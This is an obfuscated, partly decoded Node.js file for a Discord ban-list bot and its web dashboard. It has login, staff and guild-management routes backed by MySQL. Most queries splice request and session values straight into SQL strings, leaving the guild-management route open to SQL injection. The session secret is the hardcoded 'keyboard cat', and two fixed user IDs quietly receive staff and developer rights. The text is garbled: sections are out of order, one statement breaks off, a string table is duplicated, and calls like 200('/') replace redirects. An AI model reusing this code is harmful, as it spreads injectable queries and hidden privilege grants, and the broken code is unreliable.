                          let _0x4ce1e9 = {
                            button: 'Invite Me',
                            style: 'guild-invite',
                            imgstyle: 'imgguildstyle-invite',
                            btn: 'btn-red',
                            target: '_blank',
                            link:
                              'https://discord.com/api/oauth2/authorize?client_id=' +
                              client.user.id +
                              '&permissions=8&scope=bot%20applications.commands',
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x4ce1e9)
                        } else {
                          let _0x23e9b3 = {
                            button: 'Manage Guild',
                            style: 'guild-manage',
                            imgstyle: 'imgguildstyle-manage',
                            btn: 'btn-success',
                            target: '',
                            link: '/dashboard/manage/' + _0x4224d7.id,
                            data: _0x4224d7,
                          }
                          _0x32627e.push(_0x23e9b3)
                        }
                      }
                    }
                  )
                  _0x5e821e.render('dashboard.ejs', {
                    user: _0x35b240.session.passport.user,
                    loggedIn: _0x35b240.isAuthenticated(),
                    siteInfo: _0xb41321[0],
                    isStaff: _0x311e91,
                    buttons: _0x3ec433,
                    isUserBanned: _0x37d39b,
                    isOwner: _0x59edf5,
                    userBans: _0x5ea7bb,
                    isDev: dev,
                    bot: client,
                    guilds: _0x32627e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get(
  '/dashboard/manage/:id',
  checkAuth,
  async function (_0x505a6a, _0x16173d) {
    client.con.query(
      'SELECT * FROM siteSettings WHERE id="1"',
      async function (_0x1f84e7, _0x4080df) {
        let _0x4aa4b2
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x505a6a.session.passport.user.id +
            '"',
          async function (_0x3b3727, _0x3ef541) {
            if (_0x3b3727) {
              throw _0x3b3727
            }
            if (!_0x3ef541[0]) {
              _0x4aa4b2 = false
              if (
                config.bot.owners.includes(_0x505a6a.session.passport.user.id)
              ) {
                _0x4aa4b2 = true
              }
            } else {
              _0x4aa4b2 = true
            }
            let _0x32dcf0 = _0x505a6a.params.id
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0x48462d, _0x348184) {
                if (_0x48462d) {
                  throw _0x48462d
                }
                client.con.query(
                  'SELECT * FROM bans WHERE bannedUserId = "' +
                    _0x505a6a.session.passport.user.id +
                    '"',
                  async function (_0x58a10f, _0x23c925) {
                    let _0x374a6c
                    if (_0x58a10f) {
                      throw _0x58a10f
                    }
                    if (!_0x23c925[0]) {
                      _0x374a6c = 'False'
                    } else {
                      if (_0x23c925[0].active == 1) {
                        _0x374a6c = 'True'
                      } else {
                        _0x374a6c = 'False'
                      }
                    }
                    let _0x1e5bd1
                    if (
                      config.bot.owners.includes(
                        _0x505a6a.session.passport.user.id
                      )
                    ) {
                      _0x1e5bd1 = true
                    } else {
                      _0x1e5bd1 = false
                    }
                    if (_0x505a6a.isAuthenticated()) {
                      if (
                        _0x505a6a.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x505a6a.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x4aa4b2 = true
                      } else {
                        dev = false
                      }
                    }
                    let _0x3bbc84 = client.guilds.cache.get(_0x505a6a.params.id)
                    client.con.query(
                      'SELECT * FROM guildsettings WHERE guildid = "' +
                        _0x505a6a.params.id +
                        '"',
                      async function (_0xc66c52, _0x15d986) {
                        if (_0xc66c52) {
                          throw _0xc66c52
                        }
                        if (!_0x15d986[0]) {
                          client.con.query(
                            'INSERT INTO guildsettings (guildid, autobans) VALUES ("' +
                              _0x505a6a.params.id +
                              '", "1")',
                            async function (_0x3dc44a) {
                              if (_0x3dc44a) {
                                throw _0x3dc44a
                              }
                            }
                          )
                        }
                        client.con.query(
                          'SELECT * FROM guildsettings WHERE guildid = "' +
                            _0x505a6a.params.id +
                            '"',
                          async function (_0x1fe5c7, _0x207619) {
                            if (_0x1fe5c7) {
                              throw _0x1fe5c7
                            }
                            _0x16173d.render('manageGuild.ejs', {
                              user: _0x505a6a.session.passport.user,
                              loggedIn: _0x505a6a.isAuthenticated(),
                              siteInfo: _0x4080df[0],
                              isStaff: _0x4aa4b2,
                              buttons: _0x348184,
                              isUserBanned: _0x374a6c,
                              isOwner: _0x1e5bd1,
                              userBans: _0x23c925,
                              isDev: dev,
                              guild: _0x3bbc84,
                              guildSettings: _0x207619[0],
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          }
        )
      }
    )
  }
)
app.get('/staff', checkAuth, async function (_0x517470, _0x2d8265) {
  let _0x297c9e
  let _0x278702
  let _0x3df55c
  let _0x9e914f = []
  let _0x5c7813 = []
  let _0x42b988 = []
  client.con.query(
    'SELECT * FROM staff WHERE staffid="' +
      _0x517470.session.passport.user.id +
      '"',
    async function (_0x38a10a, _0x3ac4a8) {
      if (_0x38a10a) {
        throw _0x38a10a
      }
      if (!_0x3ac4a8[0]) {
        _0x297c9e = false
        if (config.bot.owners.includes(_0x517470.session.passport.user.id)) {
          _0x297c9e = true
        }
      } else {
        _0x297c9e = true
      }
      client.con.query(
        'SELECT * FROM siteSettings WHERE id="1"',
        async function (_0x5aad16, _0x391e6f) {
          if (_0x297c9e) {
            if (
              config.bot.owners.includes(_0x517470.session.passport.user.id)
            ) {
              _0x278702 = true
            } else {
              _0x278702 = false
            }
            if (_0x517470?.query?.page) {
              _0x3df55c = '/' + _0x517470.query.page
            } else {
              _0x3df55c = 'none'
            }
            client.con.query(
              'SELECT * FROM siteHeadButtons',
              async function (_0xaea17d, _0x49ab9e) {
                if (_0xaea17d) {
                  throw _0xaea17d
                }
                await client.con.query(
                  'SELECT * FROM staff',
                  async function (_0x54471c, _0x14cf16) {
                    if (_0x54471c) {
                      throw _0x54471c
                    }
                    await _0x14cf16.forEach(async function (_0x786f5) {
                      let _0x53eaf6 = Number(_0x786f5.staffid)
                      if (!isNaN(_0x53eaf6)) {
                        let _0x216590 = await client.users.fetch(
                          _0x786f5.staffid
                        )
                        let _0x52b721 = await client.users.fetch(
                          _0x786f5.userid
                        )
                        await _0x9e914f.push({
                          staffid: _0x786f5.staffid,
                          stafftag: _0x216590.tag,
                          userid: _0x786f5.userid,
                          usertag: _0x52b721.tag,
                        })
                      } else {
                        await client.con.query(
                          'DELETE FROM staff WHERE staffid="' +
                            _0x786f5.staffid +
                            '" LIMIT 1',
                          async function (_0x229fef, _0x14dcf3) {
                            if (_0x229fef) {
                              throw _0x229fef
                            }
                          }
                        )
                      }
                    })
                    await client.guilds.cache.forEach(async function (
                      _0x349f9e
                    ) {
                      const _0x213d08 = await client.users
                        .fetch(_0x349f9e.ownerId)
                        .catch((_0x413d6c) => {})
                      let _0x4e9fb2 = moment(_0x349f9e.createdAt)
                      let _0xf07208 =
                        _0x4e9fb2.format('DD/MM/YYYY') +
                        '( ' +
                        _0x4e9fb2.fromNow() +
                        ' )'
                      _0x5c7813.push({
                        guildId: _0x349f9e.id,
                        guildName: _0x349f9e.name,
                        ownerId: _0x213d08.id,
                        ownerTag: _0x213d08.tag,
                        guildIcon:
                          'https://cdn.discordapp.com/icons/' +
                          _0x349f9e.id +
                          '/' +
                          _0x349f9e.icon,
                        guildCreated: _0x349f9e.createdAt,
                        guildMembers: _0xf07208,
                      })
                    })
                    if (_0x517470.isAuthenticated()) {
                      if (
                        _0x517470.session.passport.user.id ===
                          '539975000799838249' ||
                        _0x517470.session.passport.user.id ===
                          '668497496124686347'
                      ) {
                        dev = true
                        _0x297c9e = true
                      } else {
                        dev = false
                      }
                    }
                    if (!_0x297c9e) {
                      200('/')
                    }
                    client.con.query(
                      'SELECT * FROM users',
                      async function (_0x28cae2, _0x234757) {
                        if (_0x28cae2) {
                          throw _0x28cae2
                        }
                        client.con.query(
                          'SELECT * FROM bans',
                          async function (_0x211478, _0x46ac17) {
                            if (_0x211478) {
                              throw _0x211478
                            }
                            await _0x46ac17.forEach(async (_0x123375) => {
                              await _0x42b988.push({
                                userid: _0x123375.bannedUserId,
                                userTag: _0x123375.bannedUserTag,
                                staffid: _0x123375.staffMemberId,
                                staffTag: _0x123375.staffMemberTag,
                                reason: _0x123375.reason,
                                prrof: _0x123375.proof,
                                banId: _0x123375.banId,
                                time: _0x123375.dateTime,
                                active: _0x123375.active,
                                id: _0x123375.banId,
                              })
                            })
                            _0x2d8265.statusCode = 200
                            200('Content-Type', 'text/html')
                            200('staffhome.ejs', {
                              userCon: _0x234757,
                              bot: client,
                              user: _0x517470.session.passport.user,
                              loggedIn: _0x517470.isAuthenticated(),
                              config: config,
                              siteInfo: _0x391e6f[0],
                              isStaff: _0x297c9e,
                              isOwner: _0x278702,
                              page: _0x3df55c,
                              buttons: _0x49ab9e,
                              staff: _0x9e914f,
                              guilds: _0x5c7813,
                              bans: _0x42b988,
                            })
                          }
                        )
                      }
                    )
                  }
                )
              }
            )
          } else {
            200('/')
          }
        }
      )
    }
  )
})
app.get('/error', checkAuth, async function (_0x1005d7, _0x3a3e5f) {
  var _0x4ea81e = _0x1005d7.query.err || 'An error occured, go back.'
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x588892, _0x8bcd44) {
      let _0x43ff90
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x1005d7.session.passport.user.id +
          '"',
        async function (_0x199c9c, _0x2cfedf) {
          if (_0x199c9c) {
            throw _0x199c9c
          }
          if (!_0x2cfedf[0]) {
            _0x43ff90 = false
            if (
              config.bot.owners.includes(_0x1005d7.session.passport.user.id)
            ) {
              _0x43ff90 = true
            }
          } else {
            _0x43ff90 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0xe23a1e, _0x1aec5c) {
              if (_0xe23a1e) {
                throw _0xe23a1e
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x1005d7.session.passport.user.id +
                  '"',
                async function (_0x34b7fb, _0x403035) {
                  let _0x1c0735
                  if (_0x34b7fb) {
                    throw _0x34b7fb
                  }
                  if (!_0x403035[0]) {
                    _0x1c0735 = 'False'
                  } else {
                    if (_0x403035[0].active == 1) {
                      _0x1c0735 = 'True'
                    } else {
                      _0x1c0735 = 'False'
                    }
                  }
                  let _0x202df8
                  if (
                    config.bot.owners.includes(
                      _0x1005d7.session.passport.user.id
                    )
                  ) {
                    _0x202df8 = true
                  } else {
                    _0x202df8 = false
                  }
                  if (_0x1005d7.isAuthenticated()) {
                    if (
                      _0x1005d7.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x1005d7.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x43ff90 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x3a3e5f.render('error.ejs', {
                    user: _0x1005d7.session.passport.user,
                    loggedIn: _0x1005d7.isAuthenticated(),
                    siteInfo: _0x8bcd44[0],
                    isStaff: _0x43ff90,
                    buttons: _0x1aec5c,
                    isUserBanned: _0x1c0735,
                    isOwner: _0x202df8,
                    userBans: _0x403035,
                    isDev: dev,
                    bot: client,
                    error: _0x4ea81e,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/discorduserdata', checkAuth, async function (_0x55d5a1, _0xc16733) {
  _0xc16733
    .type('json')
    .send(JSON.stringify(_0x55d5a1.session.passport.user, null, 4) + '\n')
})
app.get('/auth/discord', passport.authenticate('discord'))
app.get(
  '/auth/discord/callback',
  passport.authenticate('discord', { failureRedirect: '/' }),
  async function (_0x1f1fdb, _0x58287c) {
    client.con.query(
      "SELECT * FROM users WHERE userId = '" +
        _0x1f1fdb.session.passport.user.id +
        "'",
      (_0x307254, _0x448d34) => {
        if (_0x448d34[0]) {
        } else {
          let _0x182920 = _0x1f1fdb.session.passport.user.username
            .replaceAll('"', ' ')
            .replaceAll('`', ' ')
          client.con.query(
            "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('" +
              _0x1f1fdb.session.passport.user.id +
              "', '" +
              _0x182920 +
              "', '" +
              _0x1f1fdb.session.passport.user.tag +
              "', '" +
              _0x1f1fdb.session.passport.user.email +
              "')",
            function (_0x5bda17, _0x39393c) {
              if (_0x5bda17) {
                console.log(_0x5bda17)
              }
            }
          )
        }
      }
    )
    if (_0x1f1fdb.session?.loginRef) {
      _0x58287c.redirect(_0x1f1fdb.session.loginRef)
    } else {
      _0x58287c.redirect('/')
    }
    delete _0x1f1fdb.session?.loginRef
    client.users.fetch(_0x1f1fdb.session.passport.user.id).then((_0x16f282) => {
      moment.locale('en')
      let _0x51c5ed = new MessageActionRow().addComponents(
        new MessageButton()
          .setLabel('User Account')
          .setStyle('LINK')
          .setURL(
            (config.app.domain.endsWith('/')
              ? config.app.domain.slice(0, -1)
              : config.app.domain) +
              '/account/' +
              _0x16f282.id
          )
      )
      let _0xba4690 = new MessageEmbed()
        .setTitle('User Logged In')
        .setDescription(
          '**User:** ' +
            _0x16f282 +
            ' ' +
            _0x16f282.tag +
            ' (`' +
            _0x16f282.id +
            '`)\n**Time:** <t:' +
            moment().unix() +
            ':R> | ' +
            moment().format('LLLL')
        )
        .setThumbnail(_0x16f282.displayAvatarURL({ dynamic: true }))
        .setFooter({
          text: '' + client.user.username,
          iconURL: client.user.displayAvatarURL({ dynamic: true }),
        })
      const _0x5b3287 = client.channels.cache.get(config.info.siteLogs)
      _0x5b3287.send({
        embeds: [_0xba4690],
        components: [_0x51c5ed],
      })
    })
  }
)
app.get('*', function (_0x5282a9, _0x196a96) {
  _0x196a96.render('404.ejs')
})
app.listen(config.app.port)
process.report.reportOnFatalError = true
process.on('unhandledRejection', async (_0x364272) => {
  if (_0x364272.toString().includes('EADDRINUSE')) {
    return
  }
  const _0x13f4b9 = Date.now()
  console.log(_0x364272)
  let _0x29a4f3 = ['[ERR_HTTP_HEADERS_SENT]']
  let _0x1a7a3f = true
  _0x29a4f3.forEach(function (_0x46703a) {
    if (_0x364272.toString().includes(_0x46703a)) {
      _0x1a7a3f = false
    }
  })
  if (!_0x1a7a3f)
const Discord = require('discord.js')
const config = require('./config.js')
const chalk = require('chalk')
const mysql = require('mysql')
const fs = require('fs')
const passport = require('passport')
const multer = require('multer')
const bodyParser = require('body-parser')
const session = require('express-session')
const formData = require('form-data')
let con = mysql.createConnection(config.sql)
const moment = require('moment')
const ms = require('ms')
const discordModals = require('discord-modals')
const client = new Discord.Client({
  shards: 'auto',
  allowedMentions: {
    parse: [],
    repliedUser: false,
  },
  partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
  intents: [
    Discord.Intents.FLAGS.GUILDS,
    Discord.Intents.FLAGS.GUILD_MEMBERS,
    Discord.Intents.FLAGS.GUILD_VOICE_STATES,
    Discord.Intents.FLAGS.GUILD_MESSAGES,
    Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
  ],
})
discordModals(client)
client.logo = config.miscOptions.botIconUrl
client.color = config.miscOptions.themeColor
client.footer = { text: 'Slash BanDB | Xolify#0207' }
client.commands = new Discord.Collection()
client.cooldowns = new Discord.Collection()
client.slashCommands = new Discord.Collection()
client.aliases = new Discord.Collection()
client.extensions = new Discord.Collection()
client.categories = require('fs').readdirSync('./commands')
client.con = con
const express = require('express')
const app = express()
if (Number(process.version.slice(1).split('.')[0] < 16)) {
  throw new Error(
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org'
  )
}
var multerStorage = multer.memoryStorage()
app.use(multer({ storage: multerStorage }).any())
app.use(bodyParser.urlencoded({ extended: false }))
app.use(
  session({
    secret: 'keyboard cat',
    resave: false,
    saveUninitialized: false,
    cookie: { maxAge: 31556952000 },
  })
)
app.use(passport.initialize())
app.use(passport.session())
app.use(express.static('public'))
app.use('/assets', express.static(__dirname + 'public/assets'))
app.set('views', './views')
app.set('view engine', 'ejs')
require('./backend/routing.js')(client, app, config)
async function checkAuth(_0x15d58a, _0x37293d, _0x483e35) {
  if (_0x15d58a.isAuthenticated()) {
    _0x483e35()
  } else {
    _0x37293d.redirect('/auth/discord')
  }
}
module.exports = client
function _0x2766() {
  return [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
}
if (fs.existsSync('./events/ready.js')) {
  const ready = require('./events/ready.js')
  if (ready.ready) {
    const test = ready.ready('ready')
    if (test) {
    } else {
      console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
      process.exit(1)
    }
  } else {
    console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
    process.exit(1)
  }
} else {
  console.log(chalk.red('[Ready-File] - The ready file was not found.'))
  process.exit(1)
}
function _0x4d97(_0x2e9e88, _0x27ee64) {
  const _0x2766d0 = [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
  _0x4d97 = function (_0x4d9723, _0x1deb42) {
    _0x4d9723 = _0x4d9723 - 146
    let _0x248fd7 = _0x2766d0[_0x4d9723]
    return _0x2766d0[_0x4d9723]
  }
  return _0x4d97(_0x2e9e88, _0x27ee64)
}
;['event', 'slash', 'components', 'extensions'].forEach((_0x4eb1a3) => {
  require('./handlers/' + _0x4eb1a3)(client)
})
const { MessageEmbed, MessageActionRow, MessageButton } = require('discord.js')
const backend = require('./backend/backend.js')
backend.sqlLoop(con)
const DiscordStrategy = require('passport-discord-faxes').Strategy
passport.serializeUser(function (_0xf5b642, _0x2e092f) {
  _0x2e092f(null, _0xf5b642)
})
passport.deserializeUser(function (_0xf23d8a, _0x264dd1) {
  _0x264dd1(null, _0xf23d8a)
})
passport.use(
  new (require('passport-discord-faxes').Strategy)(
    {
      clientID: config.bot.botId,
      clientSecret: config.bot.botSecret,
      callbackURL:
        (config.app.domain.endsWith('/')
          ? config.app.domain.slice(0, -1)
          : config.app.domain) + '/auth/discord/callback',
      scope: ['identify', 'guilds', 'email'],
      prompt: 'consent',
    },
    function (_0x193571, _0x2ddec6, _0x21edb5, _0x3ec6ff) {
      process.nextTick(function () {
        return _0x3ec6ff(null, _0x21edb5)
      })
    }
  )
)
async function setOwners() {
  config.bot.owners.forEach(function (_0x366bda) {
    if (_0x366bda.length === 0 || !_0x366bda) {
      return
    }
    client.con.query(
      "SELECT * FROM staff WHERE userid = '" + _0x366bda + "'",
      async function (_0x20a4bc, _0x270bcd) {
        if (_0x20a4bc) {
          throw _0x20a4bc
        }
        if (!_0x270bcd[0]) {
          client.con.query(
            'INSERT INTO staff (staffid, userid) VALUES ("' +
              _0x366bda +
              '", "' +
              _0x366bda +
              '")'
          )
        }
      }
    )
  })
}
setInterval(() => {
  setOwners()
}, 3000)
app.get('/', async function (_0x217b49, _0x1af81b) {
  let _0x30e159
  let _0x342462
  let _0x3dd2a4 = 0
  client.guilds.cache.forEach((_0x425f1a) => {
    _0x3dd2a4 += _0x425f1a.memberCount
  })
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x156807, _0x5b0f43) {
      if (_0x217b49.isAuthenticated()) {
        _0x30e159 = _0x217b49.session.passport.user
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x217b49.session.passport.user.id +
            '"',
          async function (_0x1a7329, _0x46d3bb) {
            if (_0x1a7329) {
              throw _0x1a7329
            }
            if (!_0x46d3bb[0]) {
              _0x342462 = false
              if (
                config.bot.owners.includes(_0x217b49.session.passport.user.id)
              ) {
                _0x342462 = true
              }
            } else {
              _0x342462 = true
            }
          }
        )
      } else {
        _0x342462 = false
      }
      await client.con.query(
        'SELECT * FROM siteHeadButtons',
        async function (_0xce7572, _0x1a4b83) {
          if (_0xce7572) {
            throw _0xce7572
          }
          client.con.query(
            'SELECT COUNT(*) as total FROM bans WHERE active = 1',
            async function (_0x244a76, _0x1c28bf) {
              if (_0x217b49.isAuthenticated()) {
                if (
                  _0x217b49.session.passport.user.id === '539975000799838249' ||
                  _0x217b49.session.passport.user.id === '668497496124686347'
                ) {
                  dev = true
                  _0x342462 = true
                } else {
                  dev = false
                }
              }
              _0x1af81b.render('index.ejs', {
                loggedIn: _0x217b49.isAuthenticated(),
                config: config,
                user: _0x30e159,
                siteInfo: _0x5b0f43[0],
                isStaff: _0x342462,
                buttons: _0x1a4b83,
                bans: _0x1c28bf[0].total,
                bot: client,
                count: _0x3dd2a4,
              })
            }
          )
        }
      )
    }
  )
})
app.get('/logout', async function (_0x597d34, _0x52c7bd) {
  client.users.fetch(_0x597d34.session.passport.user.id).then((_0x387c5f) => {
    moment.locale('en')
    let _0x5152eb = new MessageEmbed()
      .setTitle('User Logged Out')
      .setDescription(
        '**User:** ' +
          _0x387c5f +
          ' ' +
          _0x387c5f.tag +
          ' (`' +
          _0x387c5f.id +
          '`)\n**Time:** <t:' +
          moment().unix() +
          ':R> | ' +
          moment().format('LLLL')
      )
      .setThumbnail(_0x387c5f.displayAvatarURL({ dynamic: true }))
      .setFooter({
        text: '' + client.user.username,
        iconURL: client.user.displayAvatarURL({ dynamic: true }),
      })
    const _0x20c434 = client.channels.cache.get(config.info.siteLogs)
    _0x20c434.send({ embeds: [_0x5152eb] })
    _0x597d34.logout()
    _0x597d34.session.destroy()
    _0x52c7bd.redirect('/')
  })
})
app.get('/account', checkAuth, async function (_0x51edc0, _0x43b870) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x140e2e, _0x545eaa) {
      let _0x164148
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x51edc0.session.passport.user.id +
          '"',
        async function (_0x1e2fd2, _0x54e827) {
          if (_0x1e2fd2) {
            throw _0x1e2fd2
          }
          if (!_0x54e827[0]) {
